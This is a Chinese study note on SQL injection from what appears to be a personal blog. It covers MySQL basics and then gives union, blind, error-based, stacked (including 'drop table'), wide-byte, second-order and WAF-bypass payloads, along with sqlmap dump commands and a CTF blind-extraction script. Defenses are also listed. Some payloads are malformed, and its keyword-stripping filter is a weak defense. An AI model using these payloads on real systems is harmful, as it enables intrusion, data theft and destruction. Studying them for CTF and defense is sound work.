首页 公开文件分享 文章 随笔 聊天大厅 小工具 登录 注册 留言我们

sql注入笔记

作者:hhcgchpspk                发布时间:2025-11-19
基础知识:数据库
什么是数据库:
结构化数据存储管理系统(简单就是存东西的地方),常见的有mysql、sqlserver、oracle等,这些都是用sql进行数据操作的.

了解安装mysql数据库:
1.linux:
apt-get install mysql-server(debian/ubuntu)
2:windows:

(1).在官网下载mysql安装包https://dev.mysql.com/downloads/mysql/
(2).配置环境变量:(这里可以不弄,但每次运行mysql时切到bin目录太麻烦)

1.此电脑->属性->高级系统设置->环境变量
2.再新建一个系统变量,变量名是mysql下载的路径
3.打开系统变量path,添加MYSQL_HOME的bin目录
(3).初始化mysql:
mysqld --initialize-insecure
(要以管理员方式运行cmd)
(4).安装mysql服务:
mysqld -install
(5).启动mysql:
net start mysql
(6).登录:
mysql -u root -p
(然后输入密码,如果配置文件里有skip-grant-tables就不用输入密码)
数据库的构成(表、字段等):
1.表:数据组织形式(users)
2.字段:表的列(id,username)
3.记录:表的行
4.索引:加速查询的数据结构
基本sql语句:
    1.查询当前所有数据库:
show databases;
2.创建数据库:
create database if not exists mydatabase;--添加if not exists可以防止创建已存在的数据库
3.创建表:
create table users(id int ,username varchar(50),age int);
4.写入列:
insert into users(id,username,age) values(1,"admin",18);
5.查询用户:
select * from users;--select * from users where id=1;#规则查询
6.更新数据:
update users set username="admin1" where id=1;
7.删除数据:
delete from users where id=1;
进阶sql语句:
    1.联合查询:
select * from users union select * from admins;
2.分组:
select id,sum(age) from users group by id;--在group by的基础上可以使用聚合函数
3.子查询:
select * from users where id in(select id from admins);
4.时间函数:
select sleep(2);
基本注⼊
数字注⼊:
直接拼接sql语句
1 or 1=1 union select 1;#
字符注⼊:
通过闭合引号让sql语句成立

    
搜索注⼊:
在使用like操作符的时候使用(通常包含通配符%)
admin'and 1=1 '%'='
union注⼊:
在确认列数和显示位的时候使用


1.确认列数:
a'1=1 union order by 1#
...
a'1=1 union order by 4# --报错的话列数就是3
2.确认显示位:
a'1=1 union select 1,2,3# --查看页面显示的数字位置
3.获取信息:
a'1=1 union select 1,database(),3# --爆库
a'1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_name=database()# --爆表
a'1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'table'# --爆字段
a'1=1 union select 1,(select 'column' from 'table'),3# --获取数据
宽字节注⼊:
使用gbk/gb2312等宽字节编码
?id=%df%27 and 1=1# --%df%27=%df%5c%27 %df%5c构成一个中文字符,让%27(单引号)逃逸
盲注:
穷尽、盲猜内容
1.爆数据库名长度:
?id=1 and length(database())=1# --query_error
........
?id=1 and length(database())=5# --query_success
#库名长度为5
2.爆库名:
?id=1 and substr(database(),1,1)='a'#--query_error
...
?id=1 and substr(database(),1,1)='s'#--query_success
#库名第一个字符是s
3.爆表的数量:
?id=1 and (select count(*) from information_schema.tables where table_schema=database()))=1#--query_success
#当前库有1张表
报错注⼊:
利用数据库错误信息回显获取数据库信息
?id=1 and extractvalue(1,concat(0x7e, database(), 0x7e))#
?id=1 and updatexml(1, concat(0x7e, version(), 0x7e), 1)#
堆叠注⼊:
利用数据库支持堆叠查询的特性执行恶意操作
?id=1;insert into users(username) values('user')#
?id=1;drop table users#
⼆次注⼊:
通过构造恶意数据存储在数据库中,在被读取后进行sql查询注入攻击
注册时的用户名:
admin'#
数据库存储时:
update users set password='$new_pass' where username='admin'# and password='$old_pass';
这样直接修改了admin的密码
waf绕过
转码:
1.URL编码:%55nion %53elect → union select
2.十六进制:0x756e696f6e → union
加密:
a'/**/or/**/1=1/**/union/**/select/**/1,2,3#
'union select to_base64('test')#
修改请求头:
User-Agent:Mozilla' union select 1,2,3 from users#
X-Forwarded-For:127.0.0.1' union select version(),2,3#
Cookie:session=111';select * from users#
特殊字符绕过:
注释符:--、#、/**/
大小写混合:UnIon SeLeCt
空白符替代:union%09select(制表符)、union%0Aselect(换行符)
sql注⼊防御⼿段
参数化查询:
1.python:cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
2.php:$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
          $stmt->execute(['id' => $id]);
输⼊信息检测过滤:
function filter_sql($input) {
    $dangerous = array("'", "\"", "\\", ";", "union", "select", "insert", "update", "delete", "drop", "exec");
    return str_replace($dangerous, "", $input);
}
开启防⽕墙等:
定期更新补丁
最小权限原则
开启web防火墙
⾃动化⼯具使⽤
sqlmap:
sqlmap -u "http://site.com/page.php?id=1"#基本检测
sqlmap -u "http://site.com/page.php?id=1"#获取数据库
sqlmap -u "http://site.com/page.php?id=1" -D database --tables#获取表
sqlmap -u "http://site.com/page.php?id=1" -D database -T users --dump#获取数据
sqlmap -u "http://site.com/page.php?id=1" -a#获取所有内容
sqlmap -u "http://site.com/page.php?id=1" --tamper=space2comment#绕过waf
⾃研⼯具:
ctf.show_web8借鉴别人wp的脚本:
import requests
s = requests.session()
url='http://7247a529-528f-4348-8b43-b6a461c6bab4.challenge.ctf.show/index.php'
table=""
for i in range(1,45):#预计flag长度
    for j in range(31,128):#遍历可能的ascii码值(32-126)是可打印字符
        #payload="ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))  
        #爆字段名 flag
        #payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #读取flag
        payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))
        res = s.get(url=url+'?id=0/**/or/**/'+payload).text
        if 'I asked nothing'in res:#当payload的sql条件为真时,页面返回特定字符串
            table+=chr(j)
            print(table)
            break